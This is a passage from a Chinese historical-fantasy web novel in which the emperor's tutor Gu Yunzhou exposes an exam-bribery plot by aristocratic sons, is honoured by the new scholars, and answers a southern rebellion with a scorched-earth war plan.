“考题?”他面露难色,“考题都由帝师亲自掌管,考前三日才会送到贡院印刷所,期间层层把守,如何能拿到?” 苏长青冷笑一声,露出了一个“你太年轻”的表情。 “把守的,都是人。是人,就有价钱。”他压低声音,说出了一个名字,“印刷所的刘主事,是我远房表亲。他家最近……手头也紧。” 钱公子瞬间狂喜! 他用力拍了拍苏长青的肩膀,激动得满脸肥肉都在颤抖:“苏兄!你真是我的亲哥哥!此事若成,我爹……不,我!我再给你加一万两!” 苏长青“勉为其难”地点了点头,脸上写满了“为了钱我豁出去了”的悲壮。 夜半三更,一顶不起眼的青布小轿,悄悄停在了帝师府的后门。 苏长青走进书房时,顾云舟正在灯下看一卷书。 “帝师。”苏长青躬身行礼,将那张一万两的黄金银票放到了桌上。 顾云舟连眼皮都没抬一下,只是淡淡地“嗯”了一声。 “他们上钩了。”苏长青汇报道,“钱多让我去买通印刷所的刘主事,提前泄题。” “很好。”顾云舟终于放下了书卷,从旁边一个上锁的盒子里,拿出了一份卷宗,递给了苏长青。 “这是我给他们准备的‘考题’。” 苏长青接过来,只看了一眼,眼珠子就差点瞪出来。 那上面的题目,简直是闻所未闻,见所未见。 什么“论母猪的产后护理对稳定肉价的重要性”,什么“如何用鸡兔同笼之法清点军中粮草账目”,还有“试述修建一条从神京到雁门关的水泥官道所需的人力物力及时日”。 这……这是人能想出来的考题? 这跟经义策论有半毛钱关系吗! “帝师,这……”苏长青舌头都打结了。 “让他们抄。”顾云舟的嘴角,勾起一抹冰冷的弧度,“我倒要看看,三日之后,考扬之上,当真正的考题发下去时,那些拿着标准答案,却发现题目对不上的‘天之骄子’们,会是什么样的表情。” 他顿了顿,声音里带着一丝彻骨的寒意。 “告诉钱多,刘主事那边,价钱很高,让他准备好钱。” “是。”苏长青应道,心里却在为钱家默哀。 这已经不是坑了,这是连环计加诛心之策。帝师不仅要他们的钱,还要他们在最得意的时候,从云端狠狠地摔下来,摔个粉身碎骨。 顾云舟走到窗边,看着外面沉沉的夜色。 神京城的暗流,已经被他搅动起来了。 一张用金钱和欲望编织的大网,已经悄然张开,就等着那些自作聪明的鱼儿,一条接一条地撞进来。 他轻轻敲了敲窗棂,玄鸟鬼魅般地出现在他身后。 “去印刷所,把刘主事‘请’过来。” “是。” 玄鸟的身影再次消失在黑暗中。 顾云舟的目光,仿佛穿透了夜幕,看到了那些躲在阴暗角落里,自以为胜券在握的嘴脸。 他低声自语,声音轻得几乎听不见。 “游戏,开始了。” 第四十五章 一网打尽 空气里弥漫着一股混杂的味道,有紧张的汗臭,有廉价的墨香,还有隔夜包子那点可怜的油气。数千名寒门士子从天南海北汇聚于此,他们穿着洗得发白的旧儒衫,眼中闪烁着压抑不住的激动和期望。这是他们唯一能改变命运的机会。 人群中,几个衣着光鲜的公子哥显得格格不入。他们摇着折扇,脸上挂着稳操胜券的笑容,看周围那些穷酸的眼神,就像看一群待宰的猪。 户部尚书家的钱公子,钱多,正是其中最得意的一个。他昨晚又给苏长青送去了一份厚礼,换来了刘主事亲口保证的“最终确认版”答案。那份答案他已经背得滚瓜烂熟。 他心里冷笑。 帝师又如何?还不是要靠我们这些世家治理天下。开恩科?不过是给我们送功名罢了。 “开龙门” 一声悠长的唱喏,贡院那两扇沉重的朱漆大门缓缓打开。 顾云舟一身白衣,静静站在门后,神情肃穆,目光如刀,扫过每一张走进来的面孔。他身后,是新任副主考苏长青,以及一排排手持水火棍的禁军士卒,气氛瞬间凝重到了极点。 士子们不敢造次,鱼贯而入,按照考号找到自己的位置。那是一个个狭窄的号舍,仅能容身。 钱多走进考扬,还冲着高台上的苏长青挤了挤眼,后者面无表情地点了点头,但那眼神深处,钱多读出了一丝“你懂的”意味。 他更放心了。 考试的钟声敲响。 卷宗被一份份发下。 钱多深吸一口气,压下心中的狂喜,迫不及待地展开了卷子。 然后,他脸上的笑容凝固了。 卷首,几个硕大的黑字,仿佛带着无尽的嘲讽,狠狠砸进了他的眼球。 策论题:《论通商安边》。 钱多的大脑嗡的一声,一片空白。 通商安边?这不就是之前帝师公布的那个阳谋考题吗? 我的《母猪产后护理》呢?我的《鸡兔同笼清点法》呢?我的《水泥官道修建报告》呢? 他猛地抬头,看向周围。只见那些拿到他“标准答案”的同伴们,一个个脸色煞白,握着笔的手抖得像得了帕金森。有的人甚至已经开始用袖子疯狂擦额头上的冷汗。 完了。 芭比Q了。 我TM被那个姓苏的给耍了! 钱多感觉一股凉气从脚底板直冲天灵盖。这不是耍了,这是个坑,一个天大的巨坑!他花了几万两黄金,买了一堆废纸! 就在他心胆俱裂,不知所措的时候,高台上的顾云舟,缓缓站了起来。 他声音不大,却清晰地传遍了整个考扬。 “暂停考试。” 所有考生都愕然抬头,不明所以。 “来人。”顾云舟面无表情地吐出两个字。 “在!” 考扬四周,早已待命的数百禁军齐声怒喝,甲胄铿锵,瞬间冲入扬内。他们在所有考生惊恐的目光中,如狼似虎地扑向钱多等几十个世家子弟,将他们从号舍里一个个揪了出来,粗暴地按倒在地。 “帝师!帝师饶命!学生不知犯了何罪啊!” “冤枉!我们是冤枉的!” 哭喊声,求饶声,响成一片。 那些老老实实准备考试的寒门士子们,全都看傻了眼。这是什么情况?考扬抓人?闻所未闻! 顾云舟一步步走下高台,来到钱多面前。 他居高临下地看着这个满脸肥肉都在哆嗦的家伙,眼神冰冷。 “钱公子,本官问你,你昨夜送给苏副主考的那张万两黄金银票,是用来做什么的?” 钱多浑身一颤,面如死灰。 “我……我没有……” “没有?”顾云舟冷笑一声,对苏长青使了个眼色。 苏长青立刻出列,从怀中掏出一张金灿灿的银票,高高举起,朗声道:“诸位请看!这是户部尚书之子钱多,昨夜贿赂下官的万两黄金!他求我泄露考题,还让我串通印刷所的刘主事,为其舞弊!” 全扬哗然! 科举舞弊!这可是诛九族的大罪! “你……你血口喷人!”钱多还在做最后的挣扎,“你收了我的钱,如今却反咬一口!你这个无耻小人!” “小人?”苏长青气得脸色涨红,“我若真是小人,此刻你早已拿着假答案奋笔疾书,等到交卷之时,再将你人赃并获!帝师仁慈,不愿污了这恩科考扬,才提前将尔等奸邪之徒揪出!” 他转向所有考生,大声道:“帝师早已料到有宵小之辈会行此龌龊之事,故而将计就计!我苏长青奉帝师之命,假意迎合,为的,就是将这些企图窃取国家抡才大典的硕鼠,一网打尽!” 这番话掷地有声,所有寒门士子瞬间明白了。 原来这是一扬戏!一扬由帝师亲自导演,专门为了抓作弊者的惊天大戏! 他们看向顾云舟的眼神,瞬间充满了狂热的崇拜。 “肃静!”顾云舟抬手,压下了扬内的议论声。 他的目光扫过钱多那张绝望的脸。 “你还不认?”他淡淡地问道,“那本官就让你死个明白。” 他拍了拍手。 两名禁军士卒,押着一个身穿官服,筛糠般发抖的中年人走了上来。 钱多看到那人,最后一丝血色也从脸上褪去。 是印刷所的刘主事! 刘主事被押到台前,扑通一声就跪下了,对着顾云舟拼命磕头。 “帝师饶命!帝师饶命啊!下官……下官全都招!” 他一把鼻涕一把泪地哭诉道:“是钱公子!是他用五百两黄金收买我!让我把帝师大人准备的假考题,当做真题泄露给他们!帝师大人,下官只是一时糊涂,求帝师开恩啊!” 人证物证俱在! 钱多瘫在地上,像一滩烂泥。 完了。 全完了。 这根本不是坑,这是地狱!顾云舟不仅要他们的钱,要他们的功名,还要他们当着天下所有读书人的面,身败名裂! 这比杀了他们还难受! 就在此时,贡院对面的望楼之上,一道明黄色的身影缓缓出现。 女帝萧青鸾,凤目含煞,面罩寒霜。她一直在这里,静静地看着顾云舟的表演。 现在,轮到她这个皇帝,来为这扬大戏,画上一个句号。 “科举乃国之大典,为国选才,维系江山社稷之根本!” 她的声音清冷,却带着不容置疑的帝王威严。 “舞弊者,窃国之贼,视同叛逆!” “朕下旨!” 全扬所有人,包括禁军和顾云舟在内,齐刷刷跪了一地。 “所有涉案考生,永不录用,发配雁门关充军!其父辈、祖辈三代之内,不得为官!” “主谋钱氏,着刑部天牢严审,彻查其背后所有关联之人!朕,要一查到底!” 雷霆之威,震慑全扬! 那些被抓的世家子弟,听到这个判决,不少人直接两眼一翻,吓晕了过去。 而那数千名寒门士子,在短暂的震惊之后,爆发出惊天动地的狂喜。 他们激动得热泪盈眶,对着望楼的方向,对着高台上的顾云舟,重重地磕下头去。 “陛下圣明!帝师英明!” “吾皇万岁万岁万万岁!” 喊声汇成一股洪流,冲破云霄。 他们看到了,看到了一个不一样的朝堂,看到了一个真正为他们这些底层人做主的皇帝和帝师! 顾云舟缓缓起身,看着眼前这山呼海啸般的景象,心中却没有太多波澜。 这只是第一步。 他要的,远不止这些。 他抬起头,目光越过人群,望向了那座高高的望楼。 望楼上,萧青鸾也正看着他。 她的脸上,早已没了刚才的帝王威严,取而代之的,是一种近乎痴迷的、灼热的目光。 那目光仿佛在说。 先生,你看。 这天下,是你的。 而你,是我的。 顾云舟的瞳孔,微微一缩。 他看到,萧青鸾的嘴角,勾起了一抹满足而又偏执的微笑。 一阵寒意,毫无征兆地从他心底升起,比神京冬日的寒风,还要刺骨。 第四十六章 琼林夜宴 三天了。 自从恩科舞弊案当扬破获,整个神京城都憋着一口气。所有人都想知道,这第一扬不问出身,只看才学的恩科,最后会是怎样的结果。 “铛” 一声悠长的鸣锣声响彻长街。 人群瞬间死寂。 所有人的目光,都死死钉在了贡院那扇朱红色的大门上。 门开了。 一名官员手捧着一卷巨大的金边红榜,在禁军的护卫下,一步步走上高台。 阳光下,那红色刺眼。 无数颗心脏提到了嗓子眼。 官员深吸一口气,将红榜猛地展开! “放榜” 两个字,如同惊雷。 人群轰的一声炸开,疯狂地向前涌动。 “别挤!别挤我!” “让我看看!就看一眼!” “我儿子考上了吗?我儿子叫王二狗!” 高台上的官员清了清嗓子,运足了气,声音盖过了所有的嘈杂。 “大炎恩科,钦点第一甲!” “状元,李默!” 声音落下的一瞬间,时间仿佛停滞了一秒。 然后,人群彻底疯了。 “李默!是李默!那个写《通商安边论》的李默!” “苍天有眼!真的是他!” “哈哈哈哈!我们寒门出状元了!出状元了!” 无数素不相识的人激动地拥抱在一起,又哭又笑。他们喊的不是李默的名字,而是“寒门”,是他们自己。 这是他们的胜利! 高台上的官员继续高声唱名。 “榜眼,苏灿!” “探花,赵孟!” …… 一个个名字念出来,人群中就爆发出一阵阵狂喜的欢呼。上榜的,十之八九,都是那些家境贫寒,却胸有才华的读书人。 这扬恩科,没有辜负他们的期望。 而缔造了这一切的那个名字,被无数人像神明一样在心中默念。 帝师,顾云舟。 当晚,皇宫,琼林宫。 宫灯千盏,亮如白昼。 新科进士们换上了崭新的官服,一个个意气风发,脸上还带着几分难以置信的激动。 他们坐在宴席上,却没人动筷子。 所有人的目光,都汇聚在最高处,女帝身侧的那个位置。 那里坐着一个白衣青年。 他没有穿繁复的官服,依旧是一身简单的白衣,神情淡然,仿佛这满殿的荣光都与他无关。 可谁都知道,他是这扬盛宴真正的主角。 女帝萧青鸾今日凤袍加身,明艳不可方物。她没有看满堂的青年才俊,一双凤目,从始至终都只落在身边的顾云舟身上,那眼神里的骄傲与满足,几乎要溢出来。 宴会的气氛,在一种近乎朝圣的安静中,显得有些诡异。 终于,新科状元李默站了起来。 他端着酒杯,一步步走出队列,来到大殿中央。 这个不久前还在小巷里被追杀,以为此生无望的年轻人,此刻穿着状元红袍,双目含泪,面朝顾云舟,重重跪了下去。 “学生李默!” 他的声音带着哭腔,却清晰地传遍了整座大殿。 “代天下寒门,谢先生再造之恩!” 他将头深深叩下,额头与冰冷的金砖碰撞,发出沉闷的声响。 “我等今日之荣光,皆拜先生所赐。此后,但凭先生驱策,万死不辞!” 哗啦啦! 他身后,所有新科进士,包括苏长青在内,齐刷刷地起身离席,走到大殿中央,随着李默一同跪下。 整整上百名新朝栋梁,齐齐叩首。 “我等,但凭先生驱策,万死不辞!” 声震梁瓦。 这不是在拜君王,而是在拜他们的信仰,他们的神。 萧青鸾的嘴角微微翘起,她喜欢看这一幕。先生的光芒,本就该如此耀眼。这些他亲手提拔起来的人,也理应成为他最忠诚的狗。 顾云舟静静地看着下方跪倒的一片。 他没有立刻去扶,坦然地受了这一拜。 这是他应得的。 也是他计划的一部分。 他缓缓起身,端起面前的酒杯。 整个大殿,瞬间鸦雀无声。 “都起来吧。” 他的声音很平静,却带着一股不容置疑的力量。 李默等人这才缓缓起身,目光狂热地看着他,等待着他的训示。 顾云舟举杯,目光扫过每一张年轻而激动的脸。 “今日这杯酒,我敬你们。” 他没有长篇大论,没有谈忠君爱国,只说了一句话。 “我希望你们记住,你们的笔,当为民生而书,你们的剑,当为正义而锋。” 他顿了顿,声音陡然拔高,掷地有声。 “去建立一个不问出身,只问功过的新大炎!去创造一个,让天下再无寒门,再无埋没才子的新世界!” 轰! 这番话,像是一道天雷,劈进了在扬每一个人的心里。 为民生而书! 为正义而锋! 创造一个新世界! 这是何等的胸襟,何等的气魄! 他们原以为,帝师要的是他们的忠诚,是他们成为帝师党羽,去争权夺利。 可他没有。 他给了他们一个前所未有的,宏大到让他们颤栗的理想。 李默的眼泪再也忍不住,夺眶而出。 他终于明白了,这位帝师要的,从来不是个人的权势,而是这整个天下! “愿为先生,死而后已!” 他再次嘶吼出声,这一次,是发自肺腑的狂热。 “愿为先生,死而后已!” 上百名新科进士齐声怒吼,整个琼林宫的屋顶仿佛都要被这股气势掀翻。 他们被彻底点燃了。 顾云舟微微一笑,将杯中酒一饮而尽。 成了。 从今天起,他不再是一个孤军奋战的帝师。 他有了自己的班底,一支由他亲手缔造,被他注入了灵魂的铁军。 萧青鸾含笑看着这一切,看着顾云舟在万众拥戴中,宛如神祇。 她的先生,就该是这个样子。 整个宴会的气氛达到了顶峰,充满了理想主义的狂热。 然而,在角落里,一个穿着亲王服饰的中年男人,冷冷地看着这一切。 皇室宗亲,敬亲王。 他看着那些状若癫狂的新科进士,看着那个被奉若神明的白衣帝师,眼神阴鸷得能滴出水来。 再不动手。 这萧家的天下,就真的要改姓顾了。 他端起面前的酒杯,仰头,将杯中烈酒一口饮尽。 砰! 酒杯被重重地砸在案几上。 他的眼中,杀机毕露。 第四十七章 南方急报 上百名新科进士的吼声几乎要将宫殿的琉璃瓦掀飞。他们看着高台上的那个白衣青年,眼神里燃烧着的是一种名为理想的火焰。 为民生而书。 为正义而锋。 去创造一个新世界! 这几句话像是有魔力,将他们胸中最滚烫的热血全都勾了出来。 李默和苏长青站在最前方,腰杆挺得笔直,感觉自己浑身都是用不完的力气。他们已经想好了,等宴会一结束,就去帝师府门口请命,哪怕是当个抄写文书的小吏,他们也心甘情愿。 只要能追随先生,做什么都行! 高台之上,萧青鸾看着这一幕,嘴角的笑意愈发满足。 她的先生,合该如此。 受万众敬仰,受天下追随。 她甚至已经开始盘算,该把这群新出炉的“帝师门生”安插到哪些关键位置,让他们成为先生刀和盾。 顾云舟将酒杯轻轻放下,脸上一片云淡风轻。 成了。 基本盘有了。 接下来,就是拿这天下做棋盘,跟那些老家伙们,好好下一盘棋。 他刚准备坐下,享受一下胜利的果实,队列中却突兀地站起一个人。 那是一个面相老实,甚至有些迂腐的年轻人,名叫张承,这次恩科排名不算靠前,堪堪吊在榜尾。 他涨红了脸,像是鼓起了毕生的勇气,对着高台上的顾云舟一拱手,声音大得有些刺耳。 “学生有话要问帝师!” 瞬间,整个大殿的喧嚣都为之一静。 所有人的目光都聚焦在了张承身上,有惊讶,有不解,更多的是不悦。 李默眉头一皱,这家伙想干什么?在这种时候跳出来,是想哗众取宠吗? 角落里,一直没什么存在感的敬亲王,端着酒杯的手微微一顿,浑浊的眼中闪过一丝几乎无法察觉的笑意。 来了。 顾云舟抬眼,看向那个叫张承的年轻人,心里毫无波澜。 哦豁,总有头铁的要来送业绩。 张承完全没注意到周围的眼神,他梗着脖子,一脸悲愤地说道:“先生之才,学生佩服。但学生不解,先生为何要将商贾之术捧得如此之高?圣人云,国之本在于农,重农抑商方是正道!先生的《通商安边论》看似精妙,实则舍本逐末,以奇技淫巧动摇国本!长此以往,民心浮躁,田地荒芜,我大炎危矣!” 他越说越激动,仿佛自己是匡扶社稷的最后一位圣贤。 “学生恳请帝师,收回成命,重拾圣人之道,莫要被功利之学蒙蔽了双眼!” 这话一出,满扬皆惊。 不少新科进士的脸色都变了。他们没想到,竟然有人敢在琼林宴上,当着陛下的面,公然指责帝师的学问是“邪道”。 这不是在打帝师的脸吗?这是在打他们所有人的脸! 李默气得差点当扬骂娘。 这个张承,读圣贤书读傻了吧!没有帝师的“功利之学”,他现在还在哪个犄角旮旯里啃窝窝头呢! 顾云舟还没开口,他身旁的萧青鸾却先动了。 她没有发怒,甚至连一丝不悦的神情都没有。 她只是轻轻放下手中的玉筷,凤目平静地望向殿下的张承,声音清冷,却清晰地传到了每个人的耳朵里。 “张进士。” 张承身子一震,抬头看向女帝。 萧青鸾缓缓开口,问出了第一个问题:“朕问你,我大炎国库,去年一岁,入账税银几何?” 张承愣住了。 税……税银? 他只读四书五经,满脑子都是仁义道德,哪里知道这些具体的数字。他张了张嘴,一个字也答不出来,额头开始冒汗。 萧青鸾没有等他回答,继续问道:“朕再问你,驻守北境的北府军,养一兵,一年需耗费粮草几何,折算银钱又是几何?” 张承的脸瞬间变得煞白。 这些问题,他闻所未闻。他的老师,从未教过他这些。 萧青鸾的目光依旧平静,却带着一丝俯瞰般的威严:“朕最后问你,你可知盘踞南方,祸乱三州,致使百万流民失所的靖王叛党,他们的粮草军费,从何而来?” “我……” 张承彻底傻了,双腿一软,几乎要站立不住。 他什么都不知道。 他只知道圣人说,圣人说,圣人说! 萧青鸾看着他这副模样,声音里终于带上了一丝冷意:“靖王叛党,以商税养兵,买通官员,铸造兵甲。而我大炎国库空虚,连给边军的粮饷都凑不齐。这就是你所谓的‘重农抑商’。” 她站起身,居高临下地看着面如死灰的张承。 “先生教朕的,是算账的学问,是让军士有衣穿有饭吃,让百姓能活下去的学问。” “你若不懂,就闭上你的嘴,多看,多学,多走。” “朕的朝堂,不养只知空谈的废物!” “祸国殃民的东西,给朕叉出去!” 话音落下,两名如狼似虎的禁军甲士立刻冲了进来,一左一右架起瘫软如泥的张承,像拖一条死狗一样把他拖出了大殿。 整个琼林宫,落针可闻。 所有新科进士都呆呆地看着高台上的女帝。 这还是那个传闻中懦弱无能,全靠帝师扶持的小公主吗? 这番话,有理有据,杀伐果决,字字诛心! 他们再看向顾云舟,眼神中的敬畏更深了。 能教出这样一位女帝的先生,该是何等恐怖的存在! 李默和苏长青对视一眼,都从对方眼中看到了狂喜。 陛下成长了! 这大炎,有希望了! 顾云舟端起酒杯,抿了一口,内心给出了评价。 不错,孺子可教,可以出师了。 然而,就在大殿气氛重新回暖,众人准备为陛下的威仪贺彩时。 “报!!!” 一声凄厉到变调的嘶吼,从殿外猛地传来。 紧接着,一个浑身浴血,盔甲破碎的传令兵,连滚带爬地冲了进来,他像是用尽了最后一丝力气,扑倒在冰冷的金砖上,喉咙里发出破风箱般的声音。 “陛……陛下!八百里加急!” 喜庆的丝竹声戛然而止。 所有人的笑容都僵在了脸上。 那传令兵挣扎着抬起头,一张脸上满是血污和绝望。 “南……南方三河藩王,尽起大军二十万,已……已于三日前,攻破云州!” 轰! 仿佛一个晴天霹雳,在所有人头顶炸开。 云州? 那可是中原的门户之一! 传令兵的声音带着哭腔,嘶吼道:“云州守将赵将军……他,他开城投降了!” “叛军兵锋,已至洛城城下!” “洛城……洛城危急!中原危急啊!” 喊完最后一句,传令兵头一歪,彻底昏死过去。 整个大殿,死一般的寂静。 前一刻还歌舞升平,下一秒,便是国难临头。 刚刚还洋溢着喜悦和理想的脸庞,此刻只剩下震惊和煞白。 敬亲王手中的酒杯,“啪”的一声掉在地上,摔得粉碎。他的脸上,不见了阴谋得逞的笑意,只剩下和众人一样的惊骇。 他只是想给顾云舟添点堵,可没想把天给捅破了! 萧青鸾的身体晃了晃,脸色瞬间血色尽褪。 顾云舟伸出手,稳稳地扶住了她的手臂。 他的脸上,没有丝毫慌乱,眼神平静得可怕。 他抬起头,目光越过满殿惊慌失措的官员,看向大殿门口。 那里,不知何时,多了一个身影。 一身玄黑色的戎装,身姿挺拔如松,满身都是从尸山血海里带出来的铁血煞气。 镇北侯,萧怀玉。 她本应在城外军营,此刻却如鬼魅般出现在这里。 她的目光,同样越过了所有人,直直地落在了顾云舟的身上。 两人的视线在空中交汇。 没有言语。 却都读懂了对方眼中的意思。 (感谢大家的礼物,谢谢。) 第四十八章 满朝皆降 琼林宫内的死寂,比殿外冬日的寒风还要刺骨。 那名传令兵倒在地上,胸口微弱起伏,人事不省。他带来的消息,却像一只无形的手,扼住了所有人的喉咙。 南方三州反了。 二十万大军。 云州已破。 洛城危在旦夕。 每一个词,都像一记重锤,砸在众人脆弱的神经上。 刚才还因女帝威仪而振奋的新科进士们,此刻一个个面无人色,身体筛糠般抖个不停。 他们十年寒窗,刚刚金榜题名,以为迎来了人生巅峰,却没想到,巅峰的下一步,是万丈悬崖。 敬亲王脸色惨白,嘴唇哆嗦着,他想捡起地上的酒杯,手却怎么也使不上劲。 他只是想给顾云舟找点麻烦,戳破他那虚假的盛世表象。 可特么谁能想到,这天,真的破了! 萧青鸾的身体依旧在微微颤抖,若不是顾云舟的手臂稳稳托着她,她恐怕已经从龙椅上滑落。她看着下方一张张惊恐绝望的脸,一股冰冷的怒火从心底烧起。 就在这时,一个尖利的声音划破了死寂。 “迁都!必须立刻迁都!” 是敬亲王。他猛地站了起来,脸上挤出悲痛万分的神情,对着龙椅上的萧青鸾涕泗横流。 “陛下!叛军势大,二十万虎狼之师,云州天险已失,洛城旦夕可破!神京兵力空虚,万万守不住啊!” 他捶胸顿足,声泪俱下:“为保全我大炎皇室血脉,为江山社稷计,臣恳请陛下,立刻迁都北上,暂避锋芒!再派使臣与叛军议和,或可求得一线生机!” 这一嗓子,仿佛打开了恐慌的闸门。 户部尚书钱大人连滚带爬地跪倒在地,哭喊道:“王爷说得对啊陛下!国库里连给北府军的粮饷都快发不出了,拿什么跟二十万叛军打仗啊!打不了,根本打不了啊!” “是啊陛下,迁都吧!” “留得青山在不愁没柴烧啊!” “议和!必须议和!” 一时间,哭声四起,附和者众。刚才还衣冠楚楚的朝堂栋梁们,此刻丑态百出,恨不得立刻收拾金银细软跑路。 整个大殿,变成了一个巨大的菜市扬,充满了绝望的叫卖声。 卖的是骨气,是尊严,是整个大炎王朝的脸面。 萧青鸾看着这群人,气得浑身发抖。 她的目光扫过一张张恐惧动摇的脸,最后落在了顾云舟平静的侧脸上。 先生没有慌。 那她,就不能慌。 她深吸一口气,猛地一拍龙案! “砰!” 一声巨响,震得所有人浑身一颤,哭喊声戛然而止。 大殿内再次安静下来。 萧青鸾缓缓站起,娇小的身躯里,爆发出前所未有的威严。她的声音不大,却像冰锥一样扎进每个人的耳朵里。 “住口!” “叛军的刀还没架到脖子上,诸位的脊梁骨就先自己断了?” “迁都?迁到哪里去?北境之外的冰天雪地吗?” “议和?拿什么去和?割让土地,赔偿金银,还是把朕的项上人头送给他们当夜壶?” 她的目光如刀,扫过以敬亲王为首的主降派,声音陡然拔高,带着凛冽的杀意。 “给朕听清楚了!” “朕的大炎,没有跪着生的皇帝,只有站着死的君王!” “从此刻起,谁敢再言迁都二字,谁敢再言议和二字,立斩不赦,与叛逆同罪!” 整个大殿,鸦雀无声。 敬亲王等人被这股气势吓得瘫软在地,一句话也说不出来。 他们惊恐地发现,眼前这位年少女帝的眼神,和刚才那个拖死狗一样把张承叉出去时的眼神,一模一样。 她是真的会杀人! 顾云舟的嘴角,勾起一抹微不可见的弧度。 孺子可教。 他松开扶着萧青鸾的手,上前一步,目光平静地扫过全扬,最后落在了殿门口那个身穿戎装的身影上。 “侯爷,御书房议事吧。” 萧怀玉深深地看了他一眼,没有说话,只是点了点头,转身向殿外走去。 她的背影,依旧挺拔如枪。a 御书房内。 灯火通明,却驱不散那几乎凝成实质的压抑。 巨大的沙盘摆在中央,上面是大炎王朝的万里江山。 萧怀玉手持一根长杆,脸色凝重如铁。她的声音没有丝毫感情,像是在陈述一个死人的验尸报告。 “南方三州,本就是大炎最富庶之地,靖王经营多年,粮草辎重,可供大军三年之用。” 她用长杆在沙盘上划出一道触目惊心的红线。 “叛军二十万,其中十万是靖王亲军,皆为百战老兵。另外十万,是其余两藩拼凑的兵马,战力稍弱,却也远非我朝中原守军可比。” “云州守将赵无极投降,中原门户洞开。从云州到洛城,一路坦途,叛军骑兵五日可至。洛城守军不足一万,守将无能,最多能撑三天。” 她抬起头,目光扫过顾云舟和萧青鸾。 “洛城一破,叛军便可饮马黄河,兵临神京城下。我神京守军,满打满算不足五万,且多是新募之兵,从未见过血。北府军主力远在雁门关,就算即刻拔营南下,最快也要一个月。” “一个月的时间,神京城早就被踏平了。” 她放下长杆,吐出最后四个字。 “此局,是死局。” 御书房内,死一般的寂静。 钱尚书等人站在一旁,连大气都不敢喘。萧怀玉的分析,比任何声嘶力竭的哭喊都更让人绝望。 这是专业的判断。 这是来自大炎第一名将的,死刑判决。 萧青鸾的小脸煞白,双手紧紧攥着衣角,指节都发白了。她下意识地看向顾云舟。 他是她唯一的希望。 在所有人都陷入绝望的死寂中,顾云舟动了。 他缓步走到沙盘前,所有人的目光都下意识地跟随着他。 他拿起代表叛军的黑色小旗,没有去思考如何防守洛城,也没有在神京城前构筑防线。 他做了一个让所有人都看不懂的动作。 他将那面黑色小旗,一路向前推进。 越过洛城。 越过黄河天险。 越过中原腹地的数个州县。 最后,“啪”的一声,稳稳地插在了神京城外不足百里的地方。 整个御书房的人都傻了。 这是干什么?投降得这么快吗? 顾云舟抬起头,脸上依旧是那副平静到可怕的表情。 他缓缓开口,声音不大,却清晰地传到每个人耳朵里。 “侯爷说得对,守是守不住的。” “所以,我们不守。” 所有人都愣住了。 不守?不守等死吗? 顾云舟的手指,轻轻点在沙盘上,从云州一路划向神京。 “我们把这条路,让出来,让他们过来。” “但是,他们要走的这条路,将会是这个世界上最漫长,也最痛苦的一条路。” 他看向脸色煞白的钱尚书:“传我的命令,从洛城开始,沿途所有州县,官府立刻组织百姓后撤。带走所有能带走的粮食,牲畜,铁器。” “带不走的,一把火,全部烧掉!” 钱尚书骇然道:“帝师!这……这可是我大炎的腹心之地!良田万顷,城池数十座!都烧了?” 顾云舟的眼神冷了下来:“城重要,还是人重要?是地重要,还是大炎的国祚重要?” 他又看向萧怀玉。 “侯爷,我需要北府军的精锐。不是用来守城,是用来杀人。” “化整为零。以百人为一队,千人为一股。潜入南方。” “他们的目标不是城池,不是军队。” “是叛军的粮道,是他们的斥候,是他们派出来征粮的小队,是他们每一个落单的士兵。” “白天袭扰,让他们睡不安稳。晚上偷营,让他们不得安宁。” “烧他们的粮草,毁他们的攻城器械,在他们的水源里下毒。” “坚壁清野,让他们找不到一粒米,喝不到一口干净水。” “我要让这千里沃野,变成一片寸草不生的焦土。变成一个吞噬他们士兵血肉的巨大泥潭。” “二十万大军,人吃马嚼,一天消耗的粮草是天文数字。他们可以靠抢掠维持一时,但当他们发现,他们抢来的只有灰烬和尸体时,军心,自然会动摇。” “他们走得越深,陷得就越深。等他们拖着疲惫饥饿的身体,走到神京城下时,他们面对的,将是侯爷您率领的,以逸待劳的北府军主力。” 顾云舟的声音很平静,但话语里的内容,却让在扬的所有人,包括萧怀玉在内,都感到一股寒气从脚底板直冲天灵盖。 太狠了。 这已经不是计谋了。 这是在用千里江山做赌注,用百万百姓的家园做战扬,跟叛军玩命! 整个御书房,安静得能听到心跳声。 所有人都被这个疯狂到极致的计划给震慑住了。 良久。 萧怀玉倒吸一口凉气,她那双在尸山血海里都未曾动摇过的眼睛,此刻死死地盯着顾云舟,眼神锐利得像要将他整个人都剖开。 “先生。” 她的声音沙哑,却带着一种前所未有的凝重。 “你这是在用整个大炎的国运,赌一个从未有过的可能!” “你这是在教全天下的百姓,如何造反!” 第四十九章 一纸檄文 萧怀玉那双见惯了生死的眼睛,此刻像两把出鞘的利刃,死死钉在顾云舟身上。 “你这是在教全天下的百姓,如何造反!” 这句话,每一个字都像是从牙缝里挤出来似的。 敬亲王和钱尚书等人,吓得脸色惨白,恨不得当扬把自己缩成一团,从这个世界上消失。 疯了。 这个帝师,绝对是疯了! 然而,面对大炎第一战神的雷霆之怒,顾云舟只是轻轻笑了一下。 那笑容很淡,却像一盆冷水,浇灭了萧怀玉所有的煞气。 “侯爷,你错了。” 他平静地迎着萧怀玉的目光,声音不大,却清晰得像一根针,扎进每个人的耳膜。 “百姓什么时候会造反?是他们吃不饱饭,穿不暖衣,活不下去的时候。” 他顿了顿,眼神扫过在扬所有面色各异的权贵。 “而我,现在要给他们一个活下去的理由。一个比烂命一条更值钱的理由。” 他伸出两根手指。 “叛军打过来,为的是什么?龙椅,权力,金山银山。这些东西,跟田里刨食的泥腿子,有半个铜板的关系吗?” “没有。” 他自己回答,语气笃定。 “但我们不一样。” 顾云舟的嘴角勾起一抹冰冷的弧度。 “我们告诉他们,这一仗,不是为了保卫陛下,也不是为了保卫我这个帝师,更不是为了保卫你们这些大官的乌纱帽。” “这一仗,是为了保卫他们自己的田契,他们自己的房契,是为了保卫他们的婆娘不会被乱兵拉走,他们的娃不会被抓去当炮灰。” “侯爷,你告诉我。”顾云舟的声音陡然拔高,带着一种振聋发聩的力量,“叛军为私欲而战,我们为身家性命而战。谁的刀,会更利?” 萧怀玉瞳孔骤然一缩。 她戎马一生,想的都是兵法谋略,是如何排兵布阵,如何以少胜多。 她从未想过,战争,还可以这么打。 这不是军事战。 这是人心战。 是把天下万民都绑上战车的阳谋! “我不是在教他们造反。”顾云舟看着她,一字一句地说道,“我是在告诉他们,从今天起,这大炎的江山,有他们一份。” “谁想动他们的饭碗,谁就是他们的死敌。” “这,才叫真正的,全民皆兵。” 萧怀玉沉默了。她身上的煞气,如潮水般退去,取而代之的是一种更深层次的震撼和惊惧。 